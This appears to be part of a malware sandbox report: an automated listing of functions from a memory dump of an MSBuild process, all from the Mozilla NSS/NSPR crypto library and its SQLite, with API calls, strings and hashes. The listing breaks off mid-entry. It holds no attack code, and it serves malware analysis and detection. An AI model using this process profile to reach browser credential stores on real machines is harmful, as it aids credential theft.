Associated: 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259535933.000000006CDCE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259560587.000000006CDCF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259583204.000000006CDD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259605358.000000006CDD5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cbf0000_MSBuild.jbxd

Similarity

API ID: DoesK11_Mechanism
String ID:
API String ID: 622698949-0
Opcode ID: c609708ecc05f08e56bb69c1b70e37aefe8df33e1a02ba745add6446eb52fb33
Instruction ID: a2251f6e027c2ec91e4364c8f4ea1c009c71136bcdbba9aea8101c1c1c515277
Opcode Fuzzy Hash: c609708ecc05f08e56bb69c1b70e37aefe8df33e1a02ba745add6446eb52fb33
Instruction Fuzzy Hash: B0316371B5291127EF0D109BAC75BDE244A4B6630FF44103CFD0AFA7C0FA859A1B02EA

Function 6CCBEDD0 Relevance: 21.2, APIs: 14, Instructions: 239memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(?), ref: 6CCBEE0B

Part of subcall function 6CCD0BE0: malloc.MOZGLUE(6CCC8D2D,?,00000000,?), ref: 6CCD0BF8
Part of subcall function 6CCD0BE0: TlsGetValue.KERNEL32(6CCC8D2D,?,00000000,?), ref: 6CCD0C15

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CCBEEE1

Part of subcall function 6CCB1D50: TlsGetValue.KERNEL32(00000000,-00000018), ref: 6CCB1D7E
Part of subcall function 6CCB1D50: EnterCriticalSection.KERNEL32(?), ref: 6CCB1D8E
Part of subcall function 6CCB1D50: PR_Unlock.NSS3(?), ref: 6CCB1DD3

TlsGetValue.KERNEL32 ref: 6CCBEE51
EnterCriticalSection.KERNEL32(?), ref: 6CCBEE65
PR_Unlock.NSS3(?), ref: 6CCBEEA2
free.MOZGLUE(?), ref: 6CCBEEBB
PR_SetError.NSS3(00000000,00000000), ref: 6CCBEED0
PR_Unlock.NSS3(?), ref: 6CCBEF48
free.MOZGLUE(?), ref: 6CCBEF68
PR_SetError.NSS3(00000000,00000000), ref: 6CCBEF7D
PK11_DoesMechanism.NSS3(?,?), ref: 6CCBEFA4
free.MOZGLUE(?), ref: 6CCBEFDA
PR_SetError.NSS3(FFFFE040,00000000), ref: 6CCBF055
free.MOZGLUE(?), ref: 6CCBF060

Memory Dump Source

Source File: 00000001.00000002.2258194456.000000006CBF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBF0000, based on PE: true

Associated: 00000001.00000002.2258162396.000000006CBF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259535933.000000006CDCE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259560587.000000006CDCF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259583204.000000006CDD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259605358.000000006CDD5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cbf0000_MSBuild.jbxd

Similarity

API ID: Errorfree$UnlockValue$CriticalEnterSection$Alloc_DoesK11_MechanismUtilmalloc
String ID:
API String ID: 2524771861-0
Opcode ID: 6a296ec9d280278d774ad0cc61149808f00d5967b2de2230328ec7cf8b968739
Instruction ID: 6bd9482356dad61096247b68d9e7a041640a3e8898571d3e27912416390b77ac
Opcode Fuzzy Hash: 6a296ec9d280278d774ad0cc61149808f00d5967b2de2230328ec7cf8b968739
Instruction Fuzzy Hash: EB815F75A00205ABEF01DFA5DC85ADE7BB9BF49318F144068F909B7A11E731E924CBA1

Function 6CC84CF0 Relevance: 21.2, APIs: 14, Instructions: 237memoryCOMMON

Download Yara Rule

APIs

PK11_SignatureLen.NSS3(?), ref: 6CC84D80
PORT_Alloc_Util.NSS3(00000000), ref: 6CC84D95
PORT_NewArena_Util.NSS3(00000800), ref: 6CC84DF2
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CC84E2C
PR_SetError.NSS3(FFFFE028,00000000), ref: 6CC84E43
PORT_NewArena_Util.NSS3(00000800), ref: 6CC84E58
SGN_CreateDigestInfo_Util.NSS3(00000001,?,?), ref: 6CC84E85
DER_Encode_Util.NSS3(?,?,6CDD05A4,00000000), ref: 6CC84EA7
PK11_SignWithMechanism.NSS3(?,-00000001,00000000,?,?), ref: 6CC84F17
DSAU_EncodeDerSigWithLen.NSS3(?,?,?), ref: 6CC84F45
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CC84F62
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6CC84F7A
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CC84F89
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CC84FC8

Memory Dump Source

Source File: 00000001.00000002.2258194456.000000006CBF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBF0000, based on PE: true

Associated: 00000001.00000002.2258162396.000000006CBF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259535933.000000006CDCE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259560587.000000006CDCF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259583204.000000006CDD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259605358.000000006CDD5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cbf0000_MSBuild.jbxd

Similarity

API ID: Util$Arena_$ErrorFreeItem_K11_WithZfree$Alloc_CreateDigestEncodeEncode_Info_MechanismSignSignature
String ID:
API String ID: 2843999940-0
Opcode ID: 1360af631be20e9385392a9e24e9afa12468bafc8c3a86f7f797395f3f77bfee
Instruction ID: e166ecc6db5da1485c73a5f2dc5834222d5c537d33db91577b9a9b91f30e63a6
Opcode Fuzzy Hash: 1360af631be20e9385392a9e24e9afa12468bafc8c3a86f7f797395f3f77bfee
Instruction Fuzzy Hash: FC818F71A09301AFE701CF29D890B5BBBE8AB8435CF15892DF958DB641F731E905CB92

Function 6CD84960 Relevance: 21.1, APIs: 14, Instructions: 121COMMON

Download Yara Rule

APIs

malloc.MOZGLUE(00000004,?,6CD88061,?,?,?,?), ref: 6CD8497D
OpenSemaphoreA.KERNEL32(00100002,00000000,?), ref: 6CD8499E
GetLastError.KERNEL32(?,?,6CD88061,?,?,?,?), ref: 6CD849AC
PR_SetError.NSS3(FFFFE8C2,0000007B,?,?,6CD88061,?,?,?,?), ref: 6CD849C2

Part of subcall function 6CD1C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CD1C2BF

PR_SetError.NSS3(FFFFE890,00000000,?,?,6CD88061,?,?,?,?), ref: 6CD849D6
CreateSemaphoreA.KERNEL32(00000000,6CD88061,7FFFFFFF,?), ref: 6CD84A19
GetLastError.KERNEL32(?,?,?,?,6CD88061,?,?,?,?), ref: 6CD84A30
PR_SetError.NSS3(FFFFE8C9,000000B7,?,?,?,?,6CD88061,?,?,?,?), ref: 6CD84A49
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,6CD88061,?,?,?,?), ref: 6CD84A52
GetLastError.KERNEL32(?,?,?,?,6CD88061,?,?,?,?), ref: 6CD84A5A
free.MOZGLUE(00000000,?,?,?,?,?,6CD88061,?,?,?,?), ref: 6CD84A6A
CreateSemaphoreA.KERNEL32(?,6CD88061,7FFFFFFF,?), ref: 6CD84A9A
free.MOZGLUE(?,?,?,?,?,6CD88061,?,?,?,?), ref: 6CD84AAE
free.MOZGLUE(?,?,?,?,?,6CD88061,?,?,?,?), ref: 6CD84AC2

Memory Dump Source

Source File: 00000001.00000002.2258194456.000000006CBF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBF0000, based on PE: true

Associated: 00000001.00000002.2258162396.000000006CBF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259535933.000000006CDCE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259560587.000000006CDCF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259583204.000000006CDD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259605358.000000006CDD5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cbf0000_MSBuild.jbxd

Similarity

API ID: Error$LastSemaphorefree$Create$CloseHandleOpenValuemalloc
String ID:
API String ID: 2092618053-0
Opcode ID: 463bce28a942e375938176edfb56ecadb9fd9605ebcbcd2f209db3b518671748
Instruction ID: 29e9a09511227ffdbc81622e8a855c27e8e87730fef88f5cfc38ba1281c0590e
Opcode Fuzzy Hash: 463bce28a942e375938176edfb56ecadb9fd9605ebcbcd2f209db3b518671748
Instruction Fuzzy Hash: 98410770B01206EBEF00AFA8DD89B4E77BCAF8A359F100128EA09E7B50DB35D505C765

Function 6CD8C8A0 Relevance: 21.1, APIs: 14, Instructions: 94stringCOMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000020), ref: 6CD8C8B9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CD8C8DA
malloc.MOZGLUE(00000001), ref: 6CD8C8E4
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CD8C8F8
PR_NewLock.NSS3 ref: 6CD8C909
PR_NewCondVar.NSS3(00000000), ref: 6CD8C918
PR_NewCondVar.NSS3(00000000), ref: 6CD8C92A

Part of subcall function 6CC60F00: PR_GetPageSize.NSS3(6CC60936,FFFFE8AE,?,6CBF16B7,00000000,?,6CC60936,00000000,?,6CBF204A), ref: 6CC60F1B
Part of subcall function 6CC60F00: PR_NewLogModule.NSS3(clock,6CC60936,FFFFE8AE,?,6CBF16B7,00000000,?,6CC60936,00000000,?,6CBF204A), ref: 6CC60F25

free.MOZGLUE(00000000), ref: 6CD8C947

Memory Dump Source

Source File: 00000001.00000002.2258194456.000000006CBF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBF0000, based on PE: true

Associated: 00000001.00000002.2258162396.000000006CBF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259535933.000000006CDCE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259560587.000000006CDCF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259583204.000000006CDD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259605358.000000006CDD5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cbf0000_MSBuild.jbxd

Similarity

API ID: Cond$LockModulePageSizecallocfreemallocstrcpystrlen
String ID:
API String ID: 2931242645-0
Opcode ID: ed33459645cd9014d4de932688ef61481eb179474de747a24ff5562704805cfe
Instruction ID: b046a6a03e219b501b865128dedcb7c41105a9e1ea6e4ab6cac7073472212c4e
Opcode Fuzzy Hash: ed33459645cd9014d4de932688ef61481eb179474de747a24ff5562704805cfe
Instruction Fuzzy Hash: A121EBB1A01702DBEB107F799C4965B76BCAF81259F140634E95BC2B10E731D519CBA2

Function 6CCB6C30 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 58stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6CCB781D,00000000,6CCABE2C,?,6CCB6B1D,?,?,?,?,00000000,00000000,6CCB781D), ref: 6CCB6C40
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6CCB781D,?,6CCABE2C,?), ref: 6CCB6C58
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6CCB781D), ref: 6CCB6C6F
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6CCB6C84
PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6CCB6C96

Part of subcall function 6CC61240: TlsGetValue.KERNEL32(00000040,?,6CC6116C,NSPR_LOG_MODULES), ref: 6CC61267
Part of subcall function 6CC61240: EnterCriticalSection.KERNEL32(?,?,?,6CC6116C,NSPR_LOG_MODULES), ref: 6CC6127C
Part of subcall function 6CC61240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6CC6116C,NSPR_LOG_MODULES), ref: 6CC61291
Part of subcall function 6CC61240: PR_Unlock.NSS3(?,?,?,?,6CC6116C,NSPR_LOG_MODULES), ref: 6CC612A0

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6CCB6CAA

Strings

extern:, xrefs: 6CCB6C7E
dbm, xrefs: 6CCB6CA4
NSS_DEFAULT_DB_TYPE, xrefs: 6CCB6C91
dbm:, xrefs: 6CCB6C3A
rdb:, xrefs: 6CCB6C69
sql:, xrefs: 6CCB6C52

Memory Dump Source

Source File: 00000001.00000002.2258194456.000000006CBF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBF0000, based on PE: true

Associated: 00000001.00000002.2258162396.000000006CBF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259535933.000000006CDCE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259560587.000000006CDCF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259583204.000000006CDD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259605358.000000006CDD5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cbf0000_MSBuild.jbxd

Similarity

API ID: strncmp$CriticalEnterSectionSecureUnlockValuegetenvstrcmp
String ID: NSS_DEFAULT_DB_TYPE$dbm$dbm:$extern:$rdb:$sql:
API String ID: 4221828374-3736768024
Opcode ID: 98461936aa4e256c8a5db6febce765f8c4e6d88685d697456bb53dd436b1a696
Instruction ID: 78f251ac3fafbdb0a78ae236b8579d6c9b9229cd9936c7fa6e08a7ac6f08fb3a
Opcode Fuzzy Hash: 98461936aa4e256c8a5db6febce765f8c4e6d88685d697456bb53dd436b1a696
Instruction Fuzzy Hash: 24018FE1B0370637FA0027FAED5AF66255C9F82159F180431FF05F0981FAB2E61941B9

Function 6CC6ACC0 Relevance: 19.6, APIs: 13, Instructions: 150stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CC6ACE2
malloc.MOZGLUE(00000001), ref: 6CC6ACEC
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CC6AD02
TlsGetValue.KERNEL32 ref: 6CC6AD3C
calloc.MOZGLUE(00000001,?), ref: 6CC6AD8C
PR_Unlock.NSS3 ref: 6CC6ADC0
free.MOZGLUE(00000000), ref: 6CC6AE48
PR_SetError.NSS3(FFFFE890,00000000), ref: 6CC6AE58
free.MOZGLUE(00000000), ref: 6CC6AE69
free.MOZGLUE(?), ref: 6CC6AE78
PR_Unlock.NSS3 ref: 6CC6AE8C
free.MOZGLUE(?), ref: 6CC6AEAB
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CC6AEC7

Memory Dump Source

Source File: 00000001.00000002.2258194456.000000006CBF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBF0000, based on PE: true

Associated: 00000001.00000002.2258162396.000000006CBF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259535933.000000006CDCE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259560587.000000006CDCF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259583204.000000006CDD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259605358.000000006CDD5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cbf0000_MSBuild.jbxd

Similarity

API ID: free$Unlock$ErrorValuecallocmallocmemcpystrcpystrlen
String ID:
API String ID: 786543732-0
Opcode ID: fd7db479cac6fdc6c5fa7baa71250913acaacde5916ababb9ff57e856b96f972
Instruction ID: 3b2256bc6a697e44d213eac9c5e95e8c5f8f29fc839fdb2096eb3941d203be32
Opcode Fuzzy Hash: fd7db479cac6fdc6c5fa7baa71250913acaacde5916ababb9ff57e856b96f972
Instruction Fuzzy Hash: 7B51B370E011269BEF00DF56DE8566E77BCFB86358F140125EA05A3F10E331AA55CBE1

Function 6CCAADC0 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageSignInit), ref: 6CCAADE6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CCAAE17
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CCAAE29

Part of subcall function 6CD8D930: PL_strncpyz.NSS3(?,?,?), ref: 6CD8D963

PR_LogPrint.NSS3(?,00000000), ref: 6CCAAE3F
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6CCAAE78
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CCAAE8A
PR_LogPrint.NSS3(?,00000000), ref: 6CCAAEA0

Strings

C_MessageSignInit, xrefs: 6CCAADE1
hSession = 0x%x, xrefs: 6CCAAE01, 6CCAAE11
(CK_INVALID_HANDLE), xrefs: 6CCAAE1F, 6CCAAE80
hKey = 0x%x, xrefs: 6CCAAE62, 6CCAAE72

Memory Dump Source

Source File: 00000001.00000002.2258194456.000000006CBF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBF0000, based on PE: true

Associated: 00000001.00000002.2258162396.000000006CBF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259535933.000000006CDCE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259560587.000000006CDCF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259583204.000000006CDD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259605358.000000006CDD5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cbf0000_MSBuild.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hKey = 0x%x$ hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageSignInit
API String ID: 332880674-605059067
Opcode ID: 8c71cf2b311c61a3c22a6c8efa398b8083affe9ed37a7e84c9d31aa1ba2d3e0c
Instruction ID: 0bc7c8f0d1941f5899dee1a28fc7f92c8674f98b2730c7bf99dc8fa699b4d121
Opcode Fuzzy Hash: 8c71cf2b311c61a3c22a6c8efa398b8083affe9ed37a7e84c9d31aa1ba2d3e0c
Instruction Fuzzy Hash: 86311835A01155BFEB00DF94DC8CFAA7779AB8630DF444025E6096BB61E734AC19CFA2

Function 6CD44C40 Relevance: 19.3, APIs: 3, Strings: 8, Instructions: 97COMMON

Download Yara Rule

APIs

sqlite3_value_text16.NSS3(?), ref: 6CD44CAF
sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6CD44CFD
sqlite3_value_text16.NSS3(?), ref: 6CD44D44

Strings

out of memory, xrefs: 6CD44C78, 6CD44C9E
bad parameter or other API misuse, xrefs: 6CD44D05
unknown error, xrefs: 6CD44D56
another row available, xrefs: 6CD44D20
API call with %s database connection pointer, xrefs: 6CD44CF6
no more rows available, xrefs: 6CD44D2E
invalid, xrefs: 6CD44CF1
abort due to ROLLBACK, xrefs: 6CD44D27, 6CD44D33

Memory Dump Source

Source File: 00000001.00000002.2258194456.000000006CBF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBF0000, based on PE: true

Associated: 00000001.00000002.2258162396.000000006CBF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259535933.000000006CDCE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259560587.000000006CDCF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259583204.000000006CDD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259605358.000000006CDD5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cbf0000_MSBuild.jbxd

Similarity

API ID: sqlite3_value_text16$sqlite3_log
String ID: API call with %s database connection pointer$abort due to ROLLBACK$another row available$bad parameter or other API misuse$invalid$no more rows available$out of memory$unknown error
API String ID: 2274617401-4033235608
Opcode ID: d5d4a7e2337c976416b2fb69f4f52b3c53e4c2d241e1a17ce58c0f0b9a518bf6
Instruction ID: ae58b1b9511131945bcacb2782c1cbecac848783a8a29fbd2b676f485bf4f012
Opcode Fuzzy Hash: d5d4a7e2337c976416b2fb69f4f52b3c53e4c2d241e1a17ce58c0f0b9a518bf6
Instruction Fuzzy Hash: 863166B2E05851E7E7080F28A8117E573657B82318F19C125DB645BF74DF25ECD287E2

Function 6CCA2DD0 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_InitPIN), ref: 6CCA2DF6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CCA2E24
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CCA2E33

Part of subcall function 6CD8D930: PL_strncpyz.NSS3(?,?,?), ref: 6CD8D963

PR_LogPrint.NSS3(?,00000000), ref: 6CCA2E49
PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6CCA2E68
PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6CCA2E81

Strings

pPin = 0x%p, xrefs: 6CCA2E63
ulPinLen = %d, xrefs: 6CCA2E7C
hSession = 0x%x, xrefs: 6CCA2E0E, 6CCA2E1E
(CK_INVALID_HANDLE), xrefs: 6CCA2E2C
C_InitPIN, xrefs: 6CCA2DF1

Memory Dump Source

Source File: 00000001.00000002.2258194456.000000006CBF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBF0000, based on PE: true

Associated: 00000001.00000002.2258162396.000000006CBF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259535933.000000006CDCE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259560587.000000006CDCF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259583204.000000006CDD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259605358.000000006CDD5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cbf0000_MSBuild.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPin = 0x%p$ ulPinLen = %d$ (CK_INVALID_HANDLE)$C_InitPIN
API String ID: 1003633598-1777813432
Opcode ID: 0c84a6c157677173dacd7db1bb804604f47855e1a18d1d031df44969c0546fed
Instruction ID: c1cfd98bc41d29127d738784f9b6eaeba52d0de46e68aa99a7c5f51165576574
Opcode Fuzzy Hash: 0c84a6c157677173dacd7db1bb804604f47855e1a18d1d031df44969c0546fed
Instruction Fuzzy Hash: 29312775A02125BBEB109B55CD4CB5A7778EB4635DF044021EA0DA7A61EB30AC49CBE1

Function 6CCA6EF0 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DigestUpdate), ref: 6CCA6F16
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CCA6F44
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CCA6F53

Part of subcall function 6CD8D930: PL_strncpyz.NSS3(?,?,?), ref: 6CD8D963

PR_LogPrint.NSS3(?,00000000), ref: 6CCA6F69
PR_LogPrint.NSS3( pPart = 0x%p,?), ref: 6CCA6F88
PR_LogPrint.NSS3( ulPartLen = %d,?), ref: 6CCA6FA1

Strings

ulPartLen = %d, xrefs: 6CCA6F9C
pPart = 0x%p, xrefs: 6CCA6F83
hSession = 0x%x, xrefs: 6CCA6F2E, 6CCA6F3E
C_DigestUpdate, xrefs: 6CCA6F11
(CK_INVALID_HANDLE), xrefs: 6CCA6F4C

Memory Dump Source

Source File: 00000001.00000002.2258194456.000000006CBF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBF0000, based on PE: true

Associated: 00000001.00000002.2258162396.000000006CBF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259535933.000000006CDCE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259560587.000000006CDCF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259583204.000000006CDD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259605358.000000006CDD5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cbf0000_MSBuild.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPart = 0x%p$ ulPartLen = %d$ (CK_INVALID_HANDLE)$C_DigestUpdate
API String ID: 1003633598-226530419
Opcode ID: 8906fcf24efd41e6b5567c4523c072cfe298ddf8ae222bc8088de9bf881e1798
Instruction ID: a485f6eb8424b7ea587a468b6bf1e8e0f8ab4773ff41a03438505e76a3e2a96c
Opcode Fuzzy Hash: 8906fcf24efd41e6b5567c4523c072cfe298ddf8ae222bc8088de9bf881e1798
Instruction Fuzzy Hash: BC31F934A02115BFFB00DB58CC4CB5A7779EB4635CF084025E90997A61EB30BC49CBE1

Function 6CC74880 Relevance: 18.2, APIs: 12, Instructions: 193memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CC748A2
PORT_NewArena_Util.NSS3(00000800), ref: 6CC748C4
PORT_ArenaAlloc_Util.NSS3(?,000000BC), ref: 6CC748D8
memset.VCRUNTIME140(00000004,00000000,000000B8), ref: 6CC748FB
PORT_ArenaAlloc_Util.NSS3(?,00000018), ref: 6CC74908
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6CC74947
SECITEM_CopyItem_Util.NSS3(?,00000000,?), ref: 6CC7496C
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CC74988
SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6CD98DAC,?), ref: 6CC749DE
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CC749FD
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CC74ACB

Memory Dump Source

Source File: 00000001.00000002.2258194456.000000006CBF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBF0000, based on PE: true

Associated: 00000001.00000002.2258162396.000000006CBF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259380459.000000006CD8F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259535933.000000006CDCE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259560587.000000006CDCF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259583204.000000006CDD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2259605358.000000006CDD5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cbf0000_MSBuild.jbxd

Similarity

API ID: Util$Alloc_ArenaError$Arena_Item_$CopyDecodeFreeQuickmemset
String ID:
API String ID: 4201528089-0
Opcode ID: 59d20de33ce481fa64d434a4aee91e723d8a815892877f7c1268742f6409f579
Instruction ID: 8ecd1f2aa59458c89513a147d68a4edc9fe6bb636b117709777d354139232ff7
Opcode Fuzzy Hash: 59d20de33ce481fa64d434a4aee91e723d8a815892877f7c1268742f6409f579
